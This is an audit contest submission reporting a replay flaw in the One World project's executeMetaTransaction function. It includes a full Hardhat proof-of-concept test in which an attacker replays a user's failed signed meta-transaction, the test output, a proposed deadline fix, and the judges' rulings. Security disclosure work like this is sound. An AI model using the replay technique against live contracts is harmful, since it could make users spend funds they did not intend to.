Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Valid

NativeMetaTransaction:executeMetaTransaction is vulnerable to replay attacks

Summary

NativeMetaTransaction implements the executeMetaTransaction function which allows a sender (or more precisely, a transaction signer) to construct and sign a transaction off-chain, passing the resulting signed transaction to a gas relay who submits the transaction on-chain, eventually paying for the gas fees. The function implementation contains a nonce, however, it is not incremented for failed transactions. The function implementation also lacks deadline, which would further protect against replay attacks. The combined effect of these missing checks is that replay attacks are trivial to execute.

Vulnerability Details and Proof of Concept

The NativeMetaTransaction:executeMetaTransaction function implements a nonce, however, the counter is not incremented if the transaction fails. The implementation also lacks deadline, which would mitigate the time window for replay attacks.

function executeMetaTransaction(address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
nonces[userAddress] = nonces[userAddress] + 1;
emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature, hashMetaTransaction(metaTx));
(bool success, bytes memory returnData) = address(this).call{value: msg.value}(abi.encodePacked(functionSignature, userAddress));
require(success, "Function call not successful");
return returnData;
}

The proof of concept comes below. Pasting the code exactly as it is should work. Local test environment was initialized with "anvil" from the foundry toolkit, therefore the complete command to execute the test would be npx hardhat test test/replay.test.ts --network localhost.

import { expect } from "chai";
import { ethers } from "hardhat";
describe("NativeMetaTransaction", function () {
let owner: any, user: any, attacker: any;
let currencyManager, membershipImplementation, membershipFactory: any, testERC20:any;
let nftAddress:any;
let DAOType:any, DAOConfig:any, TierConfig:any;
beforeEach(async function () {
// init signers
[owner, user, attacker] = await ethers.getSigners();
// deploy CurrencyManager
const CurrencyManager = await ethers.getContractFactory("CurrencyManager");
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
console.log("CurrencyManager deployed at:", currencyManager.address);
// deploy MembershipERC1155
const MembershipERC1155 = await ethers.getContractFactory("MembershipERC1155");
membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
console.log("MembershipERC1155 deployed at:", membershipImplementation.address);
// deploy MembershipFactory
const MembershipFactory = await ethers.getContractFactory("MembershipFactory");
membershipFactory = await MembershipFactory.deploy(currencyManager.address, owner.address, "https://baseuri.com/", membershipImplementation.address);
await membershipFactory.deployed();
console.log("MembershipFactory deployed at:", membershipFactory.address);
// deploy testERC20
const ERC20 = await ethers.getContractFactory("OWPERC20");
testERC20 = await ERC20.deploy('OWP', 'OWP');
await testERC20.deployed();
console.log("TestERC20 deployed at:", testERC20.address);
// add currencies: WETH, WBTC, USDC, USDC.e, OWPERC20
await currencyManager.connect(owner).addCurrency("0x7ceb23fd6bc0add59e62ac25578270cff1b9f619"); // WETH
await currencyManager.connect(owner).addCurrency("0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6"); // WBTC
await currencyManager.connect(owner).addCurrency("0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359"); // USDC
await currencyManager.connect(owner).addCurrency("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174"); // USDC.e
await currencyManager.connect(owner).addCurrency(testERC20.address); // OWPERC20
DAOType = { PUBLIC: 0, PRIVATE: 1, SPONSORED: 2 };
DAOConfig = { ensname: "test", daoType: DAOType.PUBLIC, currency: testERC20.address, maxMembers: 30, noOfTiers: 3 };
TierConfig = [
{ price: 400, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power: 6 },
{ price: 100, amount: 10, minted: 0, power: 3 }
];
const tx = await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const receipt = await tx.wait();
const event = receipt.events.find((event:any) => event.event === "MembershipDAONFTCreated");
const ensName = event.args[2][0];
nftAddress = event.args[1];
const ensToAddress = await membershipFactory.getENSAddress("test")
expect(ensName).to.equal("test");
expect(ensToAddress).to.equal(nftAddress);
});
it("MetaTransaction Replay", async function () {
await testERC20.mint(user.address, ethers.utils.parseEther("200"));
await testERC20.connect(user).approve(membershipFactory.address, TierConfig[0].price);
// construct a metatransaction
const functionSignature = membershipFactory.interface.encodeFunctionData("joinDAO", [nftAddress, 0]);
const nonce = await membershipFactory.getNonce(user.address);
console.log("Nonce before replay:", nonce.toString());
const metaTransaction = {
nonce: nonce.toNumber(),
from: user.address,
functionSignature: functionSignature,
};
const domain = {
name: "OWP",
version: "1",
verifyingContract: membershipFactory.address,
salt: ethers.utils.hexZeroPad(ethers.utils.hexlify((await ethers.provider.getNetwork()).chainId), 32),
};
const types = {
MetaTransaction: [
{ name: "nonce", type: "uint256" },
{ name: "from", type: "address" },
{ name: "functionSignature", type: "bytes" },
],
};
const signature = await user._signTypedData(domain, types, metaTransaction);
const { v, r, s } = ethers.utils.splitSignature(signature);
// execute metatransaction, but force it to fail due to low gas limit
await expect(
membershipFactory.connect(user).executeMetaTransaction(user.address, functionSignature, r, s, v, { gasLimit: 25000 })
).to.be.reverted;
// attacker replays metatransaction
const tx = await membershipFactory.connect(attacker).executeMetaTransaction(user.address, functionSignature, r, s, v);
const receipt = await tx.wait();
expect(receipt.status).to.equal(1);
const nonceAfter = await membershipFactory.getNonce(user.address);
console.log("Replay attack succeeded!");
console.log("Nonce after replay:", nonceAfter.toString());
});
});

Result

CurrencyManager deployed at: 0x1291Be112d480055DaFd8a610b7d1e203891C274
MembershipERC1155 deployed at: 0x5f3f1dBD7B74C6B46e8c44f98792A1dAf8d69154
MembershipFactory deployed at: 0xb7278A61aa25c888815aFC32Ad3cC52fF24fE575
TestERC20 deployed at: 0xCD8a1C3ba11CF5ECfa6267617243239504a98d90
Nonce before replay: 0
Replay attack succeeded!
Nonce after replay: 1

Likelihood

High - the only attack precondition is observing a failed signed transaction on-chain. Due to the lack of deadline, there is an infinite time window to execute an attack, elevating this to a high likelihood issue.

Impact

High - possible actions to execute are: create new DAO, join DAO, and upgrade tiers. Two of these (join DAO, upgrade tiers) may incur financial losses to the user because DAO membership tokens are not redeemable. Therefore, a replayed transaction may trick a user into spending more funds than originally planned, causing financial loss to the user and loss of trust and reputation for the protocol.

Tools Used

Manual analysis

Anvil (Foundry toolkit)

Hardhat

Recommendations

Increase nonce even when the transaction reverts. Implement a deadline mechanism, so that signed transactions are only valid for a limited amount of time.

struct MetaTransaction {
uint256 nonce;
address from;
uint48 deadline; // add uint48 deadline to MetaTransaction struct
bytes functionSignature;
}
...
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
deadline: deadline, // add it to the struct variable declaration as well
functionSignature: functionSignature
});
...
// execute deadline check before the externall call
require(request.deadline >= block.timestamp, "Transaction expired");
...
Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

liquidbuddha Submitter
about 1 year ago
0xbrivan2 Lead Judge
about 1 year ago
0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

failed meta transactions are replayable

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!